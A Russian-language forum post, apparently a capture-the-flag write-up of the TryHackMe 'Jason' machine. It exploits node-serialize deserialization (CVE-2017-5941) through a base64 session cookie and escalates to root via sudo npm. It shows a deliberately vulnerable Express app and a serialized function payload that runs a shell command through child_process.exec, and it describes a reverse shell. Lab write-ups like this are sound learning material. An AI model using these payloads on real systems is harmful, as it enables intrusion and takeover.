HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.08.2024, 19:08
vov4ick
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами: 1260136

Репутация: 0
По умолчанию



Всем привет ! Сегодня я разберу машину Jason на площадке TryHackMe. Уровень Easy, но это правильная тачка, с правильной багой, которая много чему научит.

Сканирование.



У нас есть два порта на которых висят ssh и веб сервер.

Посетив нашу цель нас встречает сайт, с формой отправки email. Как только мы отправляем его , мы получаем ответ как на картинке.
Так же мы наблюдаем что сайт построен с помощью Nodejs.



Попробуем перехватить запрос в Burp и посмотреть какие ответы мы получаем:



При вводе в email мы получаем закодированный сеанс в base64.
Если мы кинем это в декодер , то увидим следующее.



Точка опоры.
Мои запросы по типу node.js deserialization exploit , привели меня к CVE-2017-5941.
Уязвимость позволяет злоумышленнику создать цепочку, используя механизм сериализации для исполнения
произвольного кода при десериализации. Если приложение использует функции serialize и deserialize из node-serialize
без должной проверки и фильтрации данных, злоумышленник может произвести инъекцию кода через специально подготовленные данные.

Немого ликбеза:
Сериализация — это процесс преобразования объекта (например, данных или структуры) в формат,
который можно сохранить (например, в файл) или передать по сети.
Десериализация — это обратный процесс, когда данные восстанавливаются из сохраненного
или переданного формата обратно в объект.
Эти процессы используются для передачи объектов между разными системами или сохранения их состояния.

Вот пример node.js приложение для имитации кода:
Значение cookie, полученное из запроса, было передано в unserialize() функцию, предоставляемую модулем.

JavaScript:


Код:
var
express
=
require
(
'express'
)
;
var
cookieParser
=
require
(
'cookie-parser'
)
;
var
escape
=
require
(
'escape-html'
)
;
var
serialize
=
require
(
'node-serialize'
)
;
var
app
=
express
(
)
;
app
.
use
(
cookieParser
(
)
)
app
.
get
(
'/'
,
function
(
req, res
)
{
if
(
req
.
cookies
.
profile
)
{
var
str
=
new
Buffer
(
req
.
cookies
.
profile
,
'base64'
)
.
toString
(
)
;
var
obj
=
serialize
.
unserialize
(
str
)
;
if
(
obj
.
username
)
{
res
.
send
(
"Hello "
+
escape
(
obj
.
username
)
)
;
}
}
else
{
res
.
cookie
(
'session'
,
"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0="
,
{
maxAge
:
900000
,
httpOnly
:
true
}
)
;
}
res
.
send
(
"Hello World"
)
;
}
)
;
app
.
listen
(
3000
)
;
Для этого я использовал node-serialize. Так же я создал объект js, с таким кодом который я передал в serialize() функцию.
Передача ее в unserialize() функцию приведет к выполнению кода.

JavaScript:


Код:
var
y
=
{
rce
:
function
(
)
{
require
(
'child_process'
)
.
exec
(
'ping -c 1 10.10.61.233'
,
function
(
error, stdout, stderr
)
{
console
.
log
(
stdout
)
}
)
;
}
(
)
,
}
var
serialize
=
require
(
'node-serialize'
)
;
console
.
log
(
"Serialized: \n"
+
serialize
.
serialize
(
y
)
)
;
Мы можем проверить это, просто отправив ICMP пакеты:



И получив их на выходе :



Теперь мы знаем, что можем использовать unserialize() функцию в модуле node-serialize, если в него передаются
ненадежные данные. Давайте воспользуемся уязвимостью в веб-приложении, чтобы создать обратную оболочку.
Создание полезной нагрузки


Теперь осталось закодировать нашу нагрузку в base64:



После обновляем страницу и просто меняем текущий сеанс на свой, который мы закодировали. Так же прослушиваем порт
который мы указали в полезной нагрузке:



Мы получили наш первый флаг.

Privilege escalation.
Проверяем наши возможности:



Вообщем dylan может запускать npm от sudo без ввода пароля.
Обратимся к Gitfobins. Это действительно что нам нужно.



Таким образом, эта команда создает временный каталог, так же она создает в нем файл package.json, а затем выполняет
npm install с правами суперпользователя. При этом используется флаг --unsafe-perm, который позволяет выполнять
установочные скрипты с повышенными правами. В итоге это может привести к запуску оболочки /bin/sh, от суперпользователя.



Заключение:
Важно тщательно проверять и фильтровать входящие данные перед их десериализацией.
Небезопасная десериализация может привести к выполнению произвольного кода, а также к утечке
конфиденциальной информации и другим критическим последствиям.

Итоги:
В целом машина мне понравилась, в жизни такое редко встретишь, но понимание как работает данная уязвимость
дает только плюс в копилку для пентестера.
Спасибо всем за внимание. Я надеюсь предоставленный материал был полезен и интересен для вас.
Если у вас возникли вопросы или предложения не стесняйтесь делиться ими в комментариях. Ваши мысли и идеи всегда приветствуются.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.